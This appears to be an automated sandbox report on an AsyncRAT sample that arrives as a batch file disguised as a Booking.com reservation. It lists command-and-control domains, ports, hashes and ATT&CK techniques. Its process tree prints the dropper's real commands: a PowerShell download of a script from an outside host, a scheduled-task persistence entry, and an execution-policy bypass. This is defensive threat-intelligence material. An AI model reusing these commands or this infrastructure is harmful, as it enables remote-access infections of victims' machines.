asyncrat | b01eb3e97d4db5c3c82b31dc45efa43ac6e20ab397f80ae0e179e5b4629f331c

Analysis

max time kernel
144s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03/11/2024, 03:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Reservation Detail Booking.com ID.bat
Size 935B
Sample241103-d7d7aathjp
SHA256 10b20d5ab63333029b484bf4fc528e6cd4dc755c99c31c24054d63f9e3447c1c
MD5 1c94a162524f1ab324eb20ab36123aa9
SHA1 2d0bd3e465120d8161a30782724f6381130c3e6a
SHA512 f4252f79627dcf11c7b378a51503651476a10b22638b2797f6d6d33ef268acb54a1a37b0d2ba18535c9354470490261fef88d6a9aae6fde57c8388e035c12d3a
MD5 SHA1 SHA512

Score

10^/10

asyncrat foco-winpax discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | 3Losh

Botnet

FOCO-WINPAX

cdt2023.ddns.net:6606
cdt2023.ddns.net:7707
cdt2023.ddns.net:8808
cdt2023.ddns.net:3313
cdt2023.ddns.net:3314
cdt2023.ddns.net:9441
cdt2023.ddns.net:9442
cdt2023.ddns.net:9443
cdt2023.ddns.net:2900
cdt2023.ddns.net:1018
cdt2023.ddns.net:2019
cdt2023.ddns.net:2020
cdt2023.ddns.net:2021
cdt2023.ddns.net:5155
cdt2023.ddns.net:6666
cdt2023.ddns.net:9999
cdt2023.ddns.net:5505
chromedata.accesscam.org:6606
chromedata.accesscam.org:7707
chromedata.accesscam.org:8808
chromedata.accesscam.org:3313
chromedata.accesscam.org:3314
chromedata.accesscam.org:9441
chromedata.accesscam.org:9442
chromedata.accesscam.org:9443
chromedata.accesscam.org:2900
chromedata.accesscam.org:1018
chromedata.accesscam.org:2019
chromedata.accesscam.org:2020
chromedata.accesscam.org:2021
chromedata.accesscam.org:5155
chromedata.accesscam.org:6666
chromedata.accesscam.org:9999
chromedata.accesscam.org:5505
chromedata.webredirect.org:6606
chromedata.webredirect.org:7707
chromedata.webredirect.org:8808
chromedata.webredirect.org:3313
chromedata.webredirect.org:3314
chromedata.webredirect.org:9441
chromedata.webredirect.org:9442
chromedata.webredirect.org:9443
chromedata.webredirect.org:2900
chromedata.webredirect.org:1018
chromedata.webredirect.org:2019
chromedata.webredirect.org:2020
chromedata.webredirect.org:2021
chromedata.webredirect.org:5155
chromedata.webredirect.org:6666
chromedata.webredirect.org:9999
chromedata.webredirect.org:5505
cepas2023.duckdns.org:6606
cepas2023.duckdns.org:7707
cepas2023.duckdns.org:8808
cepas2023.duckdns.org:3313
cepas2023.duckdns.org:3314
cepas2023.duckdns.org:9441
cepas2023.duckdns.org:9442
cepas2023.duckdns.org:9443
cepas2023.duckdns.org:2900
cepas2023.duckdns.org:1018
cepas2023.duckdns.org:2019
cepas2023.duckdns.org:2020
cepas2023.duckdns.org:2021
cepas2023.duckdns.org:5155
cepas2023.duckdns.org:6666
cepas2023.duckdns.org:9999
cepas2023.duckdns.org:5505
127.0.0.1:6606
127.0.0.1:7707
127.0.0.1:8808
127.0.0.1:3313
127.0.0.1:3314
127.0.0.1:9441
127.0.0.1:9442
127.0.0.1:9443
127.0.0.1:2900
127.0.0.1:1018
127.0.0.1:2019
127.0.0.1:2020
127.0.0.1:2021
127.0.0.1:5155
127.0.0.1:6666
127.0.0.1:9999
127.0.0.1:5505
45.40.96.97:6606
45.40.96.97:7707
45.40.96.97:8808
45.40.96.97:3313
45.40.96.97:3314
45.40.96.97:9441
45.40.96.97:9442
45.40.96.97:9443
45.40.96.97:2900
45.40.96.97:1018
45.40.96.97:2019
45.40.96.97:2020
45.40.96.97:2021
45.40.96.97:5155
45.40.96.97:6666
45.40.96.97:9999
45.40.96.97:5505

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_file
svchost.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	5064	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5064	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 4288 set thread context of 3584	4288	powershell.exe	103
PID 4288 set thread context of 2900	4288	powershell.exe	104
PID 4288 set thread context of 2808	4288	powershell.exe	105
PID 4288 set thread context of 3856	4288	powershell.exe	106
PID 4288 set thread context of 3104	4288	powershell.exe	107
PID 4288 set thread context of 3888	4288	powershell.exe	108
PID 1820 set thread context of 2672	1820	powershell.exe	116

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regbrowsers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regbrowsers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regbrowsers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3176	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5064	powershell.exe
5064	powershell.exe
4288	powershell.exe
4288	powershell.exe
1820	powershell.exe
1820	powershell.exe
4288	powershell.exe
4288	powershell.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	4288	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeRestorePrivilege	5012	dw20.exe
Token: SeBackupPrivilege	5012	dw20.exe
Token: SeRestorePrivilege	4624	dw20.exe
Token: SeBackupPrivilege	4624	dw20.exe
Token: SeRestorePrivilege	3296	dw20.exe
Token: SeBackupPrivilege	3296	dw20.exe
Token: SeRestorePrivilege	2340	dw20.exe
Token: SeBackupPrivilege	2340	dw20.exe
Token: SeBackupPrivilege	4624	dw20.exe
Token: SeBackupPrivilege	2340	dw20.exe
Token: SeBackupPrivilege	3296	dw20.exe
Token: SeBackupPrivilege	3296	dw20.exe
Token: SeBackupPrivilege	2340	dw20.exe
Token: SeBackupPrivilege	3296	dw20.exe
Token: SeBackupPrivilege	2340	dw20.exe
Token: SeBackupPrivilege	3296	dw20.exe
Token: SeBackupPrivilege	2340	dw20.exe
Token: SeBackupPrivilege	4624	dw20.exe
Token: SeBackupPrivilege	3296	dw20.exe
Token: SeBackupPrivilege	4624	dw20.exe
Token: SeBackupPrivilege	2340	dw20.exe
Token: SeBackupPrivilege	5012	dw20.exe
Token: SeBackupPrivilege	5012	dw20.exe
Token: SeDebugPrivilege	2900	aspnet_regbrowsers.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2760 wrote to memory of 3176	2760	cmd.exe	85
PID 2760 wrote to memory of 3176	2760	cmd.exe	85
PID 2760 wrote to memory of 5064	2760	cmd.exe	86
PID 2760 wrote to memory of 5064	2760	cmd.exe	86
PID 2760 wrote to memory of 1852	2760	cmd.exe	92
PID 2760 wrote to memory of 1852	2760	cmd.exe	92
PID 2760 wrote to memory of 3532	2760	cmd.exe	94
PID 2760 wrote to memory of 3532	2760	cmd.exe	94
PID 3532 wrote to memory of 4288	3532	cmd.exe	96
PID 3532 wrote to memory of 4288	3532	cmd.exe	96
PID 3836 wrote to memory of 1820	3836	cmd.EXE	100
PID 3836 wrote to memory of 1820	3836	cmd.EXE	100
PID 4288 wrote to memory of 3584	4288	powershell.exe	103
PID 4288 wrote to memory of 3584	4288	powershell.exe	103
PID 4288 wrote to memory of 3584	4288	powershell.exe	103
PID 4288 wrote to memory of 3584	4288	powershell.exe	103
PID 4288 wrote to memory of 3584	4288	powershell.exe	103
PID 4288 wrote to memory of 3584	4288	powershell.exe	103
PID 4288 wrote to memory of 3584	4288	powershell.exe	103
PID 4288 wrote to memory of 3584	4288	powershell.exe	103
PID 4288 wrote to memory of 2900	4288	powershell.exe	104
PID 4288 wrote to memory of 2900	4288	powershell.exe	104
PID 4288 wrote to memory of 2900	4288	powershell.exe	104
PID 4288 wrote to memory of 2900	4288	powershell.exe	104
PID 4288 wrote to memory of 2900	4288	powershell.exe	104
PID 4288 wrote to memory of 2900	4288	powershell.exe	104
PID 4288 wrote to memory of 2900	4288	powershell.exe	104
PID 4288 wrote to memory of 2900	4288	powershell.exe	104
PID 4288 wrote to memory of 2808	4288	powershell.exe	105
PID 4288 wrote to memory of 2808	4288	powershell.exe	105
PID 4288 wrote to memory of 2808	4288	powershell.exe	105
PID 4288 wrote to memory of 2808	4288	powershell.exe	105
PID 4288 wrote to memory of 2808	4288	powershell.exe	105
PID 4288 wrote to memory of 2808	4288	powershell.exe	105
PID 4288 wrote to memory of 2808	4288	powershell.exe	105
PID 4288 wrote to memory of 2808	4288	powershell.exe	105
PID 4288 wrote to memory of 3856	4288	powershell.exe	106
PID 4288 wrote to memory of 3856	4288	powershell.exe	106
PID 4288 wrote to memory of 3856	4288	powershell.exe	106
PID 4288 wrote to memory of 3856	4288	powershell.exe	106
PID 4288 wrote to memory of 3856	4288	powershell.exe	106
PID 4288 wrote to memory of 3856	4288	powershell.exe	106
PID 4288 wrote to memory of 3856	4288	powershell.exe	106
PID 4288 wrote to memory of 3856	4288	powershell.exe	106
PID 4288 wrote to memory of 3104	4288	powershell.exe	107
PID 4288 wrote to memory of 3104	4288	powershell.exe	107
PID 4288 wrote to memory of 3104	4288	powershell.exe	107
PID 4288 wrote to memory of 3104	4288	powershell.exe	107
PID 4288 wrote to memory of 3104	4288	powershell.exe	107
PID 4288 wrote to memory of 3104	4288	powershell.exe	107
PID 4288 wrote to memory of 3104	4288	powershell.exe	107
PID 4288 wrote to memory of 3104	4288	powershell.exe	107
PID 4288 wrote to memory of 3888	4288	powershell.exe	108
PID 4288 wrote to memory of 3888	4288	powershell.exe	108
PID 4288 wrote to memory of 3888	4288	powershell.exe	108
PID 4288 wrote to memory of 3888	4288	powershell.exe	108
PID 4288 wrote to memory of 3888	4288	powershell.exe	108
PID 4288 wrote to memory of 3888	4288	powershell.exe	108
PID 4288 wrote to memory of 3888	4288	powershell.exe	108
PID 4288 wrote to memory of 3888	4288	powershell.exe	108
PID 3856 wrote to memory of 2340	3856	RegSvcs.exe	109
PID 3856 wrote to memory of 2340	3856	RegSvcs.exe	109
PID 3856 wrote to memory of 2340	3856	RegSvcs.exe	109
PID 3104 wrote to memory of 5012	3104	Msbuild.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Reservation Detail Booking.com ID.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Octanagem" /tr "cmd /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1" /SC HOURLY /mo 6 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://hoteltoscanaplaza.com.co/cgi-bin/Atendimento.pdf' -OutFile 'C:\Users\Public\American.ps1'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5064
- C:\Windows\system32\schtasks.exe
  schtasks /run /tn "Octanagem"
  2⤵
  PID:1852
- C:\Windows\system32\cmd.exe
  cmd /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -ex Bypass C:\Users\Public\American.ps1
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3584
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2900
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2808
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 768
        5⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:3296
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3856
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 768
        5⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:2340
  - - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
      "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3104
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 772
        5⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:5012
  - - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
      "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3888
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 772
        5⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:4624

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1
1⤵
- Suspicious use of WriteProcessMemory
PID:3836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell -ex Bypass C:\Users\Public\American.ps1
  2⤵
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WERC1DA.tmp.xml

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERC1DA.tmp.xml
Size 4KB
SHA256 c81190fe6d765c4b8299d20ecdb87fdf0ee93cfef0599a0a1c8b9d49945d05c6
MD5 075a66a3e4fffd220b5e02521c48f5bd
SHA1 4e53c1dce6e8845b61d98b4362d2e1ed920736e1
SHA512 f696f88c39c0a421962a0c7a9a5c3ff12aa0b01e5b04b43e8f150ade1e7522ec45244d4067e387fe0d84629e11f4aec0ca7096eaa91a32c6310d2e07f9b31da4
SSDEEP 48:cvIwBD8zscxm7aI9mEo+EKXiWm8M4JFKfUEguFoe+q8nzsXAGq8d3d:uIsfX74V8JJFKsMOF58d3d
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

aspnet_regbrowsers.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_regbrowsers.exe.log
Size 425B
SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
MD5 4eaca4566b22b01cd3bc115b9b0b2196
SHA1 e743e0792c19f71740416e7b3c061d9f1336bf94
SHA512 bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
MD5 a2b24af1492f112d2e53cb7415fda39f
SHA1 dbfcee57242a14b60997bd03379cc60198976d85
SHA512 9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 010430a83f5f1bbd71687b20e9055bbdf643c4c4c5d2b9a5d18098a751750a0b
MD5 b9c2e6782fd47c983dc61478147f7176
SHA1 ebaf50c810dbeca3846867c685d77ae4c871f253
SHA512 bbca313407db73166df19c9a6e5c0ddd520f316dd7ddc0160b2a0cb31139e45aef6f2cff667a3025df56f2bb5e36a4b25dab39a16ff9f914857588d4e3e19834
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_dteyktee.yvf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dteyktee.yvf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 d889f216c9815dc6ea15106211df6026ecbb087205723cd1ffb7a61a67399ace
MD5 14a1292e641dc805ae825fe71cd120e0
SHA1 7fa13c60161175e1623c9bd4da8d0cccd7811d5a
SHA512 9f5252918a1b969791167f4cf55e23c28bdcc0bac55cb191766c4265a8ed9c256907e6f5378be6c1ff78f23d582720dbc96f7dfca058c31eaed7bf1ca3cda8d4
SSDEEP 96:o84UCyW9qFukvhkvCCt82sSH7TQHGzsSH7TQHGM:t4eWYcWUnGUnS
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 cc06974b2c6cb326abc6fbe04e6bc4f7b793ce011269fa1f8e04fe765c438168
MD5 57e3b43e8bf248466e4d6ab54c57ee52
SHA1 3862c595af6676d902b1d90209643a364980f6c7
SHA512 1b34e7626450fd7d1b88491b55bbf0cc30e4d22e5642280c2ef9719b33de934c422341757af1633df86baed471bd8903cdeb763b2178e149dded00dd87dfc632
SSDEEP 96:jA844C9N9qFukvhkvCCt82sSH7TQHGzsSH7TQHGM:j14tNYcWUnGUnS
MD5 SHA1 SHA512 SSDEEP

Submit Download

American.ps1

Path C:\Users\Public\American.ps1
Size 446KB
SHA256 9bdc43df16cff6db219f2d3dd4a1e4b650262e73f98d2264926b90664942c187
MD5 b5c90bb64c65c7dc4bb82301d04cb3a5
SHA1 dc608bf3c1f20d5584a4c4fafc353e5569b6ac2b
SHA512 06154870d8c572c3687c6bdc44546c0642fde0d4554380a103712c2c8045b56743459af525e374acd6241b66c28c7102ebb101e786b08a725280384bcef6073c
SSDEEP 3072:dqslZ+EZdDeUqAR2xEU2kwom+weekljaPC7b8fjEfxkBtXuVDLQ4:dq0+CdDeU/2xD2kxm+J5l14jEH
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2900-59-0x00000000007A0000-0x00000000007B6000-memory.dmp

Download

memory/2900-93-0x00000000056C0000-0x0000000005726000-memory.dmp

Download

memory/2900-92-0x0000000005C00000-0x00000000061A4000-memory.dmp

Download

memory/2900-91-0x00000000053A0000-0x000000000543C000-memory.dmp

Download

memory/3584-52-0x0000000000400000-0x0000000000416000-memory.dmp

Download

memory/4288-51-0x00000232EEE90000-0x00000232EEE98000-memory.dmp

Download

memory/4288-50-0x00000232EEE80000-0x00000232EEE88000-memory.dmp

Download

memory/4288-49-0x00000232EEE70000-0x00000232EEE78000-memory.dmp

Download

memory/4288-48-0x00000232EEE40000-0x00000232EEE4A000-memory.dmp

Download

memory/4288-47-0x00000232EEE50000-0x00000232EEE6A000-memory.dmp

Download

memory/4288-46-0x00000232EC560000-0x00000232EC56E000-memory.dmp

Download

memory/5064-16-0x00007FF878A30000-0x00007FF8794F1000-memory.dmp

Download

memory/5064-0-0x00007FF878A33000-0x00007FF878A35000-memory.dmp

Download

memory/5064-12-0x00007FF878A30000-0x00007FF8794F1000-memory.dmp

Download

memory/5064-11-0x00007FF878A30000-0x00007FF8794F1000-memory.dmp

Download

memory/5064-10-0x000001C831C30000-0x000001C831C52000-memory.dmp

Download